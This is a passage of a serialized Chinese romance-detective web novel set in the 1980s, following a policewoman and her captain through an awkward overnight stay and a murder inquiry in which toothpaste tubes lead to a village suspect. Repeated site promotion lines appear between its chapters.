了:“我这房子呢,刑警队的人都知道。有时候加班太晚,或者有什么特殊情况,这些小子也会来住,不过他们都是住在客卧。你是要在他们睡过的床上睡呢,还是在只有我睡过的床上睡?”安暖被问住了。虽然她不是一个有洁癖的人,但确实还是一点奇怪。别的男人睡过的床,可能床单被套都没换,好像是有一点膈应。跟楚隽就别计较太多了,男女朋友,一张床上都睡过了。“那好吧,那我睡这边。”安暖指了指:“很晚了,晚安。”“好,洗澡早点睡。”楚隽说着,走进房间。“你晚上是要换衣服的吧?”楚隽说:“之前也没想过会那么快带你过来,我这里没有女式衣服。要不你先穿我的。”楚隽打开衣柜。他偶尔会在这边住,衣柜里一年四季的衣服都有,袜子内裤什么的,一应俱全。现在天气热,穿的衣服也薄,牛仔裤不用天天换,只有衬衫和内衣裤要换。这都是薄的,现在洗了之后晾起来,明天早上差不多也就干了。只是晚上睡觉的时候穿一下罢了。“好,那我就借你一件衣服吧。”安暖说着,拿下一件短袖。楚隽的衣服质量都非常好,有些是挺贵的名牌,有些,是没有牌子的私人定制。“好。”楚隽说:“要是不觉得大,你可以直接穿着,换下来的脏衣服不用洗,放在卫生间里。明天阿姨会来收拾……还有这个给你……”楚隽弯腰从衣柜下面的抽屉里拿出一个盒子。“喏……这个也给你。”安暖接过来一看。额……有点尴尬。“这是新的,我当时买来有点小,就随手放在抽屉里。你可以穿……”楚隽也觉得有点尴尬,脸稍微有点红,丢下一句:“你放心吧洗过的。”然后他就落荒而逃了。“我也去睡了,你早点睡。”啪的一声,门关上了。安暖缓缓打开盒子。里面是几条黑色的男士内裤。也是没想过啊,这辈子竟然有这么新奇的体验。但有的穿总比没得穿好,安暖在,不穿,还是穿男士内裤中犹豫了一下,还是屈服了。要是在自己家里关着门拉着窗帘,怎么睡都行,但这是楚隽的房子,楚隽就在隔壁,虽然他也不会半夜闯进来,但总觉得有点别扭。二十分钟后,安暖穿上了楚隽的短袖,睡裤,和内裤……在舒服的大床上滚了滚,睡了。《八零警花娇又飒,高冷队长心慌了》无错的章节将持续在小说网更新,站内无任何广告,还请大家收藏和推荐!喜欢八零警花娇又飒,高冷队长心慌了请大家收藏:八零警花娇又飒,高冷队长心慌了更新速度全网最快。《八零警花娇又飒,高冷队长心慌了》无错的章节将持续在小说网更新,站内无任何广告,还请大家收藏和推荐!喜欢八零警花娇又飒,高冷队长心慌了请大家收藏:八零警花娇又飒,高冷队长心慌了更新速度全网最快。 第117章 一夜旖旎梦 白天挺累,又那么晚了,安暖没一会儿就睡了。但这一晚上,睡得不太安稳。大概是今天晚上盛寻雪的案子有点刺激,虽然安暖没觉得多惊世骇俗,但多少有一些心里暗示。安暖睡着之后,恍惚之间,听见有人在开门。她没有将门反锁。没有这个必要。这屋子里现在只有她和楚隽两个人,楚隽的人品绝对值得信任。话又说回来,如果楚隽有私心,别说小小一个门锁,就算是一扇门也不可能拦得住他。相反的,如果她在房间里有什么事情需要楚隽进来帮忙,门没锁更方便。好像有人开门进来了。安暖想要睁开眼睛看一看,但是身体很重,起不了身。楚隽慢慢走了进来,走到了床边。安暖的呼吸渐渐粗重起来。楚隽弯下腰,伸手抚过安暖的脸。“想我陪你……一起睡吗?”楚隽的声音仿佛从远处传来,又仿佛在耳边,嘶哑而低声,带着压抑又压抑不住的念想。“楚隽……”安暖说不出话来。楚隽的手,从脸颊划过,落在领口。安暖穿的是楚隽的短袖,比自己的要大好几号,领口也大。内衣洗了,正在外面晾着,再说睡觉一般也不会穿内衣,多勒得慌。领口一拉扯,露出一片。楚隽的脸在昏暗的暖光下,特别英俊。安暖仿佛受了蛊惑一般,抬手去接楚隽睡衣的扣子。衣服下面的风景,她看了很多回了。每天早上,楚隽都是和她一起锻炼的,热的时候,脱个上衣很正常。不过白天不好意思盯着仔细地看,那有点太放肆了,所以有点观察加想象的双重来历。最后一颗扣子解开,衬衫被随手丢在一旁。楚隽手臂上的肌肉也流畅分明,安暖忍不住摸了上去,却被一把抓住了手腕。呼……安暖猛地坐了起来,清醒过来。房间还是那个房间,门关着,没有人进来。安暖长长地呼出一口气,揉了揉脸。她刚才……竟然做了一场梦。天啊,这是什么梦?安暖喘了口气,翻身起来。开了灯,去浴室洗了一把脸。冰冷的水泼在脸上,安暖清醒了一点。“罪过罪过。”安暖看着镜子里的自己:“亵渎了亵渎了。”说完,她又摸了摸自己的脸,自言自语道:“不过我长得那么好看,就是亵渎一下,他也不吃亏啊。”晚上睡得太晚,第二天楚隽也没有起来锻炼。安暖是被敲门声吵醒的。咚咚咚,咚咚咚。“暖暖,起床了。”楚隽喊了两声。房间里终于传来了安暖的声音。“起了起了。”楚隽道:“我买了早餐,洗漱出来吃早饭。”“好,好。”安暖的声音多少有一些心虚,当然隔着门,楚隽没有听出来。起床洗漱,安暖正要换衣服,突然想起不对。这个户型的阳台在客厅,房间是没有阳台的。晾衣服的地方也在客厅。昨天洗了衣服之后,就将衣服晾在了阳台上。现在自然要去阳台上收。但是……昨天晾衣服的时候外面没有人,现在有了。现在楚隽就在外面。她只有两个选择,要么真空出去阳台收内衣内裤。要么,让楚隽帮她把内衣内裤收了送进来。安暖捂了捂脸,感觉这两者都不太行。相比而言,前者好像要稍微好一点点,后者更尴尬。安暖定了定神,去翻了翻衣柜,找出件秋冬的睡袍裹上,然后才出了房门。楚隽正在将买来的早点一样一样放在桌上,看见安暖出来,愣了一下。“你……冷?”这是什么打扮。楚隽看看自己的短袖,再看看安暖的浴袍。“不冷。”安暖尴尬一笑:“我收衣服。”楚隽往阳台上一看。“哦。”明白了。楚隽有点僵硬的收回视线,继续摆盘。安暖利落的收回了自己的衣服,抱在怀里钻回了房间。过了一会儿,安暖又出来了。这次恢复了正常。安暖在餐桌边坐下。“吃什么,我买了好几样。”楚隽说:“馄饨怎么样?”“好。”楚隽一边递醋,一边说:“你……昨晚上没睡好吗?”安暖刚才照镜子了,自己眼下淡淡乌青,一看就是没睡好。“嗯。”安暖含糊道:“我……认床。”“胡说。”楚隽毫不犹豫的戳穿了安暖的谎言:“你可是一点都不认床的,第一天在家里,还有出去在招待所,你不是都睡得挺好的吗?怎么,我这床不舒服?”“舒服,舒服的。”安暖低下头舀混沌。“舒服得睡不着?”楚隽更奇怪了,盯着安暖看,只见安暖的脸在混沌热腾腾的蒸汽里,慢慢变红。“睡着了睡着了。”安暖含糊道:“别说了快吃饭,吃完赶紧去上班。”《八零警花娇又飒,高冷队长心慌了》无错的章节将持续在小说网更新,站内无任何广告,还请大家收藏和推荐!喜欢八零警花娇又飒,高冷队长心慌了请大家收藏:八零警花娇又飒,高冷队长心慌了更新速度全网最快。安暖不遗余力地吃了起来。楚隽却吃不下了,食不知味地嚼着包子,若有所思的看着安暖。“你不对劲。”楚隽说。找一个干刑侦的做对象,也是很麻烦的事情。不好说慌,一点蛛丝马迹就容易露馅。好在楚隽虽然想得挺多的,但是再怎么天马行空,也没想到那一层去。一顿饭,在云里雾里中结束了。回警局的第一件事情是开会。跟着的一条线已经被否决了,查了一圈之后,现在一切又回到了原点。安暖又看了一遍昨天对酆邦辉两兄弟的询问记录。就从他们的口供看,确实可以暂时排除嫌疑。楚隽道:“大家先看一看昨天的记录,然后我们讨论一下,下一步,要从什么方面继续往下查。”昨天晚上,人带回来之后,大部分人就下班了,今天也是第一次看见这个记录。盛寻雪的照片他们都看过,甚至可以说是人手一张。虽然没见过真人,但就从照片看,怎么都是个斯斯文文的姑娘。果然人不可貌相,只从照片看,谁能想得到她玩儿得那么花。楚隽敲着桌子说:“我觉得,大家可以再往深处挖一挖,盛寻雪既然对房事有强烈需求,那么她是否会不止酆邦辉这一个男朋友。在酆邦辉家里,并没有发现盛寻雪当时从小卖铺买的日用品,这也能证明,这些东西可能另有去处”《八零警花娇又飒,高冷队长心慌了》无错的章节将持续在小说网更新,站内无任何广告,还请大家收藏和推荐!喜欢八零警花娇又飒,高冷队长心慌了请大家收藏:八零警花娇又飒,高冷队长心慌了更新速度全网最快。 第118章柏拉图爱情 死者生前接触过的人和物,都很可疑。 如今暂时没有可疑的人。 物,也是要查的。 只是那一包东西看着挺多,但都是市场上常见的。毕竟只是路边的一个小店,也不可能有什么冷僻稀少的东西。 楚隽重新做了安排,继续深挖盛寻雪的人物关系。 “盛寻雪表面上,是一个性格开朗坚强的姑娘,但她私下和表面上的完全不同。辛苦大家再跑一趟,单位,父母,亲戚,再问第二遍。不要漏掉任何一个细节。将重点放在盛寻雪的男女关系上,任何有可能的男性,都要深挖。” 众人分了任务,各自出发。 安暖看着开会记录沉思。 什么样的爱恨,才会让一个人作出如疯狂的举动? 什么样性格的人?会作出这样的事情。 这个人的性格如何? 他这份爱扭曲到了这种地步,难道和酆邦辉的理由一样?因性生爱,因爱生恨? 安暖啃着手指头摇头。 “怎么了?”楚隽安排完之后,走了过来:“有什么想法?” 卢瑞泽也走了过来,他还是跟着楚隽,两人一组。安暖虽然也跟着跑来跑去, “也没有什么确定的想法,就是一直在想,凶手和死者之间的关系。”安暖敲着写写画画的本子:“凶手和死者之间,一定有一段不一般的关系。这段关系是我们没想到的,所以这个人一直在视线之外,或者已经在视线内了,却没有被我们注意到。” “那是自然。”卢瑞泽说:“能让一个人杀人,这肯定不一般啊。” 但是,怎么个不一般呢? 卢瑞泽说:“难道这个玩儿得更花?食髓知味,一睡难忘。” 如何卢瑞泽就被楚隽在背上拍了一巴掌。 “好好说话。” 自己人开会就算了,有些时候说话嘴上没把门,他也睁一只眼闭一只眼了。现在还有安暖在呢,这说的是什么话? 卢瑞泽立刻认错:“楚队我错了,我不是那个意思……我是那个意思,你懂的。” 安暖一点儿不在意,自然道:“我觉得不是,我觉得恰恰相反。” “为什么?” “因为盛寻雪又找了酆邦辉呀。”安暖道:“如果我们假设,盛寻雪和凶手是情人关系,这个关系已经深厚到可以杀人的地步,那一定不是一面之缘,总要相处一段时间吧。那盛寻雪和凶手,肯定不是柏拉图式恋爱。” 盛寻雪是这么热烈的一个人,她可以找一个看顺眼的人寻欢作乐,还可以接受半路加入的情人哥哥,这种人不受世俗礼仪约束,如果真有一个爱得那么炽烈的情人,怎么可能不睡。 安暖认真地说:“如果睡了,为什么会又找去找酆邦辉呢?一脚踏几条船,又累又麻烦,而且容易出事啊。” 卢瑞泽皱眉道:“难道不是因为……不够?” “不,我觉得不是。”安暖说:“你看,盛寻雪找了酆邦辉之后,比较满意。加入一个之后,就吃不消了。所以呢,她有需要,但需要的也有限。” 幸亏是在刑警队会议室这么严肃的地方,大家也都是见多识广,不然有些话聊着聊着,就奇奇怪怪的。 楚隽抱着胳膊,坐在安暖身边。 “你这么说也有道理。”楚隽道:“凶手和盛寻雪的关系,和酆邦辉兄弟俩和盛寻雪的关系,可能不太一样。甚至很有可能,恰恰相反。” 凶手和盛寻雪之间,是爱情。 要不然不会逛遍了香山上的桃花林,杀死盛寻雪之后,还将她的尸体一块一块地挂在了桃花树上。 悠远绵长的爱情,是需要时间的。 不像是盛寻雪和酆邦辉那样,一眼就选中。 一见钟情在现实里当然是有的,但是一见钟情很难立刻就有那么深厚炽烈的感情,总需要在一定时间的相处。 情侣上山看桃花,也会挑开花的时候,不会去看光秃秃的树枝和绿油油的叶子。 这也就是说,盛寻雪和凶手,相处有听唱一段时间了。至少已经过了一个花季。 “对,我也是这么想。”安暖道:“凶手和盛寻雪的关系有两种最大的可能。第一,盛寻雪很喜欢他,但是他的身体不行,至少那方面不行,所以精神的需求是一方面,身体的需求是另一方面。盛寻雪分开了,被凶手发现了,恼羞成怒之下,杀了盛寻雪。” 卢瑞泽连连点头,举起第二根手指:“还有一种可能,盛寻雪忍了一阵子,忍不了了,决定分手。惹恼了凶手,这才惨遭杀害。” 楚隽拿了车钥匙:“走,我们去盛寻雪家附近再转转。” 一个有时间和盛寻雪经常接触来往,但是,却能力不足的男人。 上了车,卢瑞泽开车,安暖和白嘉月坐在后排。 车开出去一会儿,楚隽看了看安暖,欲言又止。 “怎么了?”安暖奇道:“有话就问。” 楚隽摸了摸鼻子。 这是一个掩饰尴尬的动作。 楚隽竟然尴尬了。 什么惊天问题,会让楚隽尴尬。 “你说吧,没事儿的。”安暖道:“要不然,你悄悄跟我说。” 安暖看了一眼坐在前面的卢瑞泽,难道是关于两个人之间的私事?有卢瑞泽在,不方便说? 但是楚隽的为人,公私分明,也不会在上班的时候说私事啊。 卢瑞泽还特别自觉地加了一句:“要不然,路边停车,我下去抽根烟? “那倒是不用。”楚隽道:“我确实想问一个有点尴尬的问题,不过是和案件相关的。” “你说,不要紧。”安暖说:“我是专业的。” 楚隽道:“我想更了解盛寻雪一些,可是我们队里,也没有其他的女性了。” “嗯,你说。” 楚隽迟疑道:“对女性而言,或者是对稳定的情侣而言,夫妻生活在生活中的重要性,占比多少?有多重要?” 卢瑞泽都竖起了耳朵。 果然他还是应该出去抽根烟。 这问题再正经,也尴尬啊。 但如果让他们去问别的办公室的女同事,更尴尬。 问题是有些尴尬的,但是安暖很淡定。 “这个呀……还是蛮重要的。”安暖说:“当男女产生好感时,体内会分泌一种名为苯基乙胺的荷尔蒙,这种化学物质会让我们感受到强烈的吸引力。再加上多巴胺的助推,当两个人接触、拥抱、亲吻时,体内的去甲肾上腺素会迅速升高,血压和心跳加快,带来一种紧张和兴奋的感觉,让人欲罢不能。” 卢瑞泽在前面竖着耳朵听,听着听着,就觉得这个问题一点都不尴尬,反而是很学术的。 第119章 儿时玩伴 所以,想和异性接触,特别是和喜欢的异性接触,是很正常的一件事情。这是人的本性。压抑本性,需要一些助力。”安暖说:“比如说,心理足够多的爱,可以填补生理的缺失。就像是,繁衍也是分类的本性,但有些夫妻没有孩子,因为足够爱,也不影响相守一生。” 本性不是不可缺少,主要看你觉得哪一个更重要。 楚隽听完,琢磨了一下。 所以,这对盛寻雪来说,这份感情足够浓烈深厚,才能对他无欲无求。 楚隽道:“这次的重点目标,是在盛寻雪的生活中,有没有相处,或者认识时间长。有特殊关系,但又不是恋人的男性。” 盛寻雪很有可能在处一种非常新式的对象,生理一个,心理一个。 生理是心理的补充款。 这一层关系,盛寻雪父母是不知道。 所以她神神秘秘,她喜欢的这几个对象,都不是她父母可以认可的丈夫人选。 车开进盛寻雪住的村子。 这短短几天,他们已经来了好几回了,熟门熟路了。 盛家的灵堂还没有撤,不过亲戚朋友改吊唁的都来得差不多了,现在只有盛寻雪父母守着。 看见楚隽,他们眼中虽然还有期盼,但不敢抱多少希望了。 楚隽开门见山:“还是有一些问题,想要问一下。” “您说。” 楚隽道:“盛寻雪生前有没有交往过什么男性。或者没有交往,但是一直有联系的,比如说,青梅竹马,儿时玩伴,曾经给过她帮助的人等等。当然,这个人你们肯定是看不上的,所以拒绝过,或者从来没想过,他可能成为你们的女婿。” 在很多时候,知情者不是不愿意说,而是根本就不知道什么该说,什么不该说。 或者根本就想不起来这件事情和案子有关。 这时候就需要专业的人循循善诱了。 问话也是需要技巧的,也要方向正确。 楚隽这么一问,盛母道:“你这么说的话,确实是有的。” “说说。” 盛母道:“阿雪从小性子就比较活泼,喜欢热闹,性子也要强。小时候,大人忙,没事儿的时候,村里的孩子就都凑在一起玩儿。阿雪就不太喜欢和女孩子在一起玩,更喜欢和男孩子一起玩。” “那群男孩子里,有关系好的吗?” “有的。”盛母说:“都是一个村子的,低头不见抬头见。虽然长大以后,各人都有了去处,但咱们村大部分人都留在村子里,没有多少外出打工的。” 盛寻雪也是依然住在家里的,和童年的那些玩伴,自然也都有联系。 楚隽道:“这样,你把和盛寻雪关系好的几个人都跟我说一遍,说仔细点,有什么说什么,不要觉得是一些细节,觉得没有用,就不说。” 卢瑞泽拿出了小本本。 盛父盛母开始掰着手指头,一个一个地数。 这样一个村子人可不少,盛寻雪的童年玩伴也不少。 盛父盛母一通回忆,卢瑞泽记了好几页。 离开盛家的时候,卢瑞泽拿着本本道:“这有一二三四五个人呢,楚队,要不我们分头去问。” 楚隽接过本子看了看。 “行。” 卢瑞泽将本子第一页撕了下来,上面记了三个人名,留下的纸上,还有两个人名。 分工合作,提高效率。 “按照盛寻雪父亲提供的名单,这三个人里,和盛寻雪关系最好的是这个。” 楚隽指了指孔星翰。 “好,先去找他。”只是现在这个时间不好,周二,又是上班时间,很多人都不在家。特别是年轻人,有正经工作的,肯定不在家。 找村民问了路,两人找到了孔星翰家。 孔星翰的家在村口,一个院子,里面三间平房。 楚隽敲了敲门。 过了一会儿,有人来开门了。 是一个五十岁左右的大婶,看起来应该是孔星翰的母亲。 孔母看了看两人。 “请问……你们找谁?” “你好。”楚隽道:“你是孔星翰的母亲吗?” “是,我是。”孔母疑惑道:“二位是?” “我们是刑警队的。”楚隽道:“有一些问题想要问你一下。” 楚隽拿出了证件。 孔母听见刑警队三个字,吓了一跳。 这段时间村子里出了事儿,死人了。 盛寻雪的死,在村子里不是秘密,而且,她是被人杀害了,也不是秘密。但是具体是怎么死的,这只有盛寻雪的父母知道。 这就难免带来一些人心惶惶,听见凶手害怕,生怕害了自己。看见警察也害怕,生怕警察怀疑这件事情和自己有关系。 “你,你等一下。”孔母还怪谨慎的:“也不知道你们是真的还是假的,我,我要找人看一下你的证件。” “好。” 楚隽让孔母带着他的证件去找领居核实一下。 人民群众有这样的警惕心,这是好事。 这样可以避免不法分子乘虚而入。 只有安暖看着十分感慨。 群众的警惕心,那是越来越高,越来越高啊。在她那个年代,人民群众警惕心的高涨程度,到至于谁的话都不听,诈骗分子的话不听,警察的电话也不听,叫人十分头痛。 过了一会儿,孔母验证了楚隽证件的真假回来了。 她将证件还给楚隽:“楚同志,您请跟我进来吧。” “好。” 两人跟着进了门。 孔母将两人请进客厅,便要给两人倒水。 “不用麻烦。”楚隽忙道:“孔婶,我们这次来,主要是想问一些关于你儿子孔星翰的事情。” “星翰……怎么了?” 孔母的声音都有点变了。 “你别紧张,就是随便问问。”楚隽安抚道:“你只要如实回答就行。” 孔母忐忑的点了点头。 突然安暖站了起来:“孔婶,我想去一下卫生间。” “哦哦,好。” 孔母说:“就在那边。” 安暖道了谢,走了出去。 这个年代的农村,卫生间不是在屋子里面的,和城里的房子不一样,这里的卫生间一般都在外面,单独的一个房间。 洗脸刷牙什么的,也都是在外面。 第120章 文艺人 安暖并不是真的想上卫生间,出了门,就在院子里转了一下。 她前几天在这也转了几圈,这些人家的布置大差不差,卫生间洗漱厨房什么,都在一个方位。 安暖走到水龙头边,这里是孔家人洗漱的地方。有杯子,里面有牙刷,旁边挂了一根绳子,生面搭着几条毛巾。 安暖看了看牙膏。 盛寻雪从小卖铺里买了好几支牙膏,京玉牌的,这个牌子在本市的销售还可以,但是在村子里用的人不多。 村子里的人,更多家庭用的牙膏,是村口小卖部里的,不是这个牌子。 每个小店都有自己的进货渠道,有习惯进货的牌子。如果是大型的商店,会有很多牌子供人选择,私人小店为了不挤压资金,选择就少很多。 牙膏虽然是消耗品,但是消耗的不快。 省着点用,一家三口一支牙膏能用上大半个月。 盛寻雪上次买了两支牙膏。 这两支牙膏即便在买的当天就用上了,现在应该也没用完。 绝大多数人还是勤俭节约的,特别是这个年代,没用完的牙膏,是不会扔的。 安暖放下手里的牙膏,有些失望起了身,不过也有了其他想法。 要不然,一家一家的找牙膏?比起一家一家问话,好像也不是很麻烦。 安暖看了一会儿,起身回去。 楚隽已经问完了,看了一眼安暖,从安暖的表情上能看出来,没有什么发现。 离开孔家,楚隽说:“你去找牙膏了?” “对。”安暖说:“我看了村子里的人家,用的大多是店里的一种牌子,要是有谁家用的是盛寻雪买的,这个人的嫌疑就更大了,可以深挖。” 在案发当日没有有效的不在场证据,身高身形和法医解剖尸体后推测出的凶手匹配,家里发现了京玉牌牙膏,却又说不出在哪里买的,每一个条件温和,嫌疑人就离凶手更近了一步。 安暖跟着楚隽跑了五家,有两家去了看了照片,随便说了几句话就退了出来。 家里的儿子身高身形,和嫌疑人差的太远。 最后是一户姓禹的人家,儿子叫禹志坚,今年二十四岁,身高身形,和法医解剖尸体后推测出的数据有些相似。 禹家父母都不在家,他在市里一家机械厂上班,三班倒,早中晚班,一周一轮。 昨天上的是通宵夜班,这会儿正在补觉。 被敲门声吵醒的时候,禹志坚一脸不高兴的样子。 楚隽拿出了证件,说明了一下来意。 一听对方是刑警,禹志坚立刻就清醒了。 “同志,你们是来调查寻雪的事情的吧。”禹志坚连忙将两人让进房间:“有什么线索了吗?寻雪这么好的一个姑娘,她死的实在是太可惜了。你们一定要抓住凶手,为寻雪报仇。” 禹志坚说着,忍不住抹了一下眼睛。 也不知道是昨晚熬夜了现在没睡好,还是因为想起了伤心事。 楚隽道:“你和盛寻芳的关系是不是很好?” “嗯,很好,我们从小一起长大的。”禹志坚说:“小时候天天在一起玩儿,长大以后,虽然大家都忙,但住在一个村子,低头不见抬头见。关系也还是很好。” 安暖道:“不好意思,我去一下卫生间。” “哦哦哦,好。”禹志坚说:“就在外面。” 安暖依然去看了一下,可惜,禹家用的牙膏,也是村口小卖部常用的那种。 过了一会儿,两人从禹家退了出来。 安暖首先摇了摇头。 她没有发现。 安暖道:“楚队,问出什么了吗?这个禹志坚,有问题吗?” “他和前面几个人都不一样。”楚隽道:“虽然都是青梅竹马,但我感觉禹志坚对盛寻雪的感情更深一些。提起盛寻雪,他说了一些当年的事情,不是什么大事儿,但日常生活其实就是一件一件小事堆积起来的。我现在这个阶段,听他说起这些事情,倒是觉得比那些轰轰烈烈的大事更有感觉。” 安暖一时没反应过来。 “你现在哪个阶段?” “谈恋爱的阶段啊。”楚隽一本正经的说:“感同身受。” 行吧,安暖被楚隽打败了。 “去左右隔壁问问。”楚隽说:“禹志坚自己说自己,未必是真话。” 如果一句一句都是假话,还能分辨一二。但如果几句真话里夹着一句假话,在对这个人完全不了解的情况下,是很难分辨的。 不在场时间,因为是半夜,就算凶手偷偷溜出去,也没人知道。 物证,村子里每一家都有可以成为凶器的农具,都有,反倒是跟没有一样了。而且这把凶器,如果凶手稍微谨慎一点,一定已经丢弃在任何地方了,不会带会家里。 人证,半夜三更的山里,鬼影子都没有一个。 如果有一定的证据,将人带回局里慢慢的审,对方一定会露出破绽。但此时此刻,没有足够的证据,总不能把所有人都带回去审。 两人转头就去了隔壁。 聊自己家的八卦,和聊别人家的八卦,那是不一样的。 跟邻居聊邻居,那可要能放开多了。 隔壁的周奶奶关了门,说起来禹志坚,那叫一个热情。 安暖好奇道:“周奶奶,我看禹志坚这个年纪了,有没有人给他介绍对象啊?怎么到现在还没结婚呢?我看他长的也挺不错的。” “家里条件不行。”周奶奶说:“他爸妈虽然勤快,但是身体都不好,常年要吃药。你想想,这负担多重啊,结婚以后,公婆帮衬不了带孩子,又要一直花钱,家里怎么可能好呢。这样的条件,谁家姑娘愿意嫁啊?” “这样啊,那确实是不太行。”安暖顺着往下说:“他自己呢,他性格怎么样?” “人倒是挺温和的,还挺文绉绉的呢。”周奶奶说:“跟我们说话细声细气的,衣服鞋子都比别人干净,你看他家里收拾的也干净。春天秋天啊,野外那些野花野草长的好,他还会在家里摆弄点,村子里的人都说他是个……是个什么,来着,文……文什么。” 安暖说:“文化人?” “不是。” “额……”安暖说:“文艺……人?” “对对对。”周奶奶一拍大腿:“就是这个词儿。” 第121章 终于找到你 没有想到禹志坚还是个文艺青年呢。 安暖想了想:“不对,现在是九月份,外面一路,我可是看见了不少花花草草,开的都挺好的。为什么没看见他家有花?” 楚隽进禹家,就进了房间,只是大概扫了一眼。 但是安暖以上厕所为由出来,是在院子仔细看了一圈的,要是养了花,不可能没有印象。 安暖皱眉道:“说起来,我确实在他家看见了花盆。角落里有一些旧花盆,但叠放着,里面只有一些干枯的树干,别说花,连一片绿叶子都没有。” 楚隽思考的时候,无意的看着门外周奶奶家的院子。 院子里,晒着衣服,地上,还晒着几双鞋。 楚隽突然道:“你们洗鞋,一般怎么洗?” 村子里的人穿的,一般都是布鞋。也有年轻人赶时髦,穿皮鞋,运动鞋之类的。 但一般干活儿的时候,还是穿耐脏耐磨的鞋,好鞋子,是要出去才穿撑门面的。 周奶奶说:“那还能怎么洗,就用洗衣服泡泡,或者拿肥皂擦一擦,用大刷子刷呗。” 古往今来,刷鞋子的步骤都是差不多的。 “那……”楚隽道:“有人用牙膏洗吗?” 周奶奶被问住了。 “也……不是没有。”周奶奶想了想:“但我没用牙膏洗过鞋,牙膏贵啊。不过有时候衣服上有一点洗不掉的脏,我也会挤点牙膏。” 安暖转头看向楚隽。 楚隽道:“周奶奶,你们家里用完的牙膏皮,是不是都攒着呢?” 安暖恍然大悟。 对。 这个年代和她那个年代不一样,听老一辈说起,牙膏用完不扔,牙膏皮都会攒着,可以用来卖钱,也可以用来换东西。换不了什么之前的东西,但是过日子吗,一毛钱不嫌少,十块钱不嫌多。 “攒着呢。”周奶奶说:“攒着换东西,还能卖钱。” 楚隽起身道:“我们回去看看。” 楚隽带着安暖回到了禹志坚家。 安暖一边跟着走,一边在心里反省。 她需要对这个时代更了解了,要不然的话,有时候是会有所影响的。会影响她的判断,她的思考,这不是好事。 楚隽在门口停下的时候,安暖有点走神没反应过来,一头撞了上去。 幸亏楚隽反应快,立刻转身一把抓住了安暖的胳膊。 “没事儿吧。” “没事儿。”安暖揉了揉脑门:“你背上真硬。” 脑门撞后背,也没有胜算。 楚隽笑了一下,敲了敲门。 禹志坚昨天一个大夜班,早上睡了几个小时就被楚隽吵醒了。这会儿刚房间,正打算闭上眼睛,又听见敲门声,简直火冒三丈。 他怒火冲冲来开了门,看见楚隽,顿时气焰就熄了。 “楚队长。”禹志坚眼神中有一点慌:“你们还有什么事儿吗?” 楚隽开门见山:“你们家,放杂物的地方在哪里?” “杂物?什么杂物?” “比如说,要攒在一起卖的废纸壳,铁皮,等等。” 几乎家家户户都有这样一个地方,能换钱舍不得丢的东西,都堆在一起,一次处理。 禹志坚显然是有点懵的,但楚隽要求,他也不能说不。 他没和警察打过交道,但警察上门调查的规矩,他还是懂的。 最好是坦坦荡荡,不要含糊,不要隐瞒,不然的话,本来不叫人怀疑的,也难免叫人怀疑了。 “在这里……请跟我来。”禹志坚带着两人往里走,到了院子里一个小窝棚边。 “家里的杂物都在这里。”禹志坚说:“你们……自便。” 楚隽和安暖真的钻了进去。 窝棚是用木头和竹子自己搭的,比正常的屋子矮一些,钻进去要猫着腰。 两人目标明确,找牙膏皮。 好在这不是什么值钱的东西,禹志坚也没有多想,只是随随便便将用完的牙膏皮丢在窝棚里。 “楚队。”安暖眼前一亮,低声道:“快来看,在这里,在这里。” 楚隽立刻走了过去。 在角落里,堆了一堆乱七八糟的东西。 其中就有几个牙膏皮。 大部分都是这边村子里常用的,其中有两支,正是京玉牌。 禹志坚在院子里站着,有些提心吊胆,但是面上丝毫不显。他心里有些不安稳,但是这会儿楚隽都已经找上门了,他就必须装到底。 终于,楚隽从窝棚里出来了。 “你过来。”楚隽招了招手。 禹志坚连忙走了过去。 楚隽手上拿着两支白玉牙膏的牙膏皮。 看见这两支牙膏皮,禹志坚显然有点僵硬。 “这两支牙膏,在哪儿买的?” 禹志坚含糊道:“就,就在店里啊。” “具体点,哪里的店。” 禹志坚想了想,迟疑的摇头:“我也不记得了,都是些常用的日用品,随手买的,谁记得在哪里啊?” “我劝你,还是记得的好。”楚隽冷声道:“禹志坚,你跟我走一趟吧。” “啊?” 没有找到这两支牙膏皮,那也就罢了。既然找到了,禹志坚现在的嫌疑就很大了,就有了带回去慢慢审的必要。 “不要啊了,走吧。”楚隽拍了拍禹志坚的肩膀:“你要是清清白白,就是去说说话,就让你回来。你要是心里有鬼……那就不好说了。” 禹志坚的脸有点白。 但他是个很镇定的人,竟然撑住了。 只是现在撑住也没有用,等进了警局,往审问室里一坐。同样的问题翻来覆去,顺着倒着,反反复复的问个十几遍,几十遍,少有人会不露出破绽。 楚隽带着禹志坚回到了和卢瑞泽约定的地方,又等了一会儿,卢瑞泽也来了。 看见有收获,卢瑞泽可高兴了。 他问了一圈没有问出什么可疑的地方,还想着,这案子不知道要折腾到那一天呢。 “就是这小子啊。”卢瑞泽左看看,右看看,虽然什么都没说,但是非常满意。 禹志坚坐在车后座,一言不发。 一路开回警局。 看看时间,已经是下午四点半了。 村子里偏僻,也没有饭店,忙碌了一天大家也没顾上吃顿饭,饿了就在车上随便啃了几口蛋糕饼干什么。 进了门楚隽便道:“暖暖,你去食堂吃点东西,然后去我办公室休息。一会儿我忙完了,有事情要跟你说。” 第122章 哥哥不如弟弟 好。”安暖应着:“你也要吃饭,身体是革命的本钱。” 楚隽应了,带着人走了。 安暖看着一行人的背影,转身去了食堂。 食堂这会儿已经开始有晚饭了,安暖也确实饿了,买了好几个菜。 她在这也十来天了,第一个熟悉的就是食堂。食堂大妈们可热情了,在认识她的第二天,就开始给她张罗对象,想要介绍给自己家的儿子。 这么漂亮的,斯斯文文的,说话客客气气又有修养,看着脾气就好的小姑娘,谁不喜欢呢。 就算穿着打扮格格不入,但她可是跟着楚隽来的,就算是乡下的穷亲戚吧,在京市有翟家的帮衬,以后还能差了不成? 只可惜了,没几天安暖的身份就在局里传开了。 虽然再没有人给她张罗对象,但是大家更热情了。 现在局里唯一看安暖不顺眼的人,大概就是董紫莺和祁雨诗了。 正所谓不是冤家不碰头,安暖不但在食堂看见了董紫莺和祁雨诗,还看见了翟琛。 他们三个人正在吃饭。 一边吃,一边说,好像还挺开心。 安暖看了看表,觉得有点奇怪。 现在是四点四十,她因为中午没吃才会在这个点来吃饭。如果正常吃了中饭的人,这会儿吃晚饭也太早了一点。 而且,董紫莺和祁雨诗都还没下班吧?这会儿怎么会在食堂呢? 安暖一边等着阿姨打饭,一边想着。 没等她想完,翟琛便看见她了。 “小安。”翟琛招了招手:“你也来吃饭?过来坐。” 食堂是四人桌,两两对着的那种。 董紫莺和祁雨诗坐在一边,翟琛坐在另一边。 还空着一个位置。 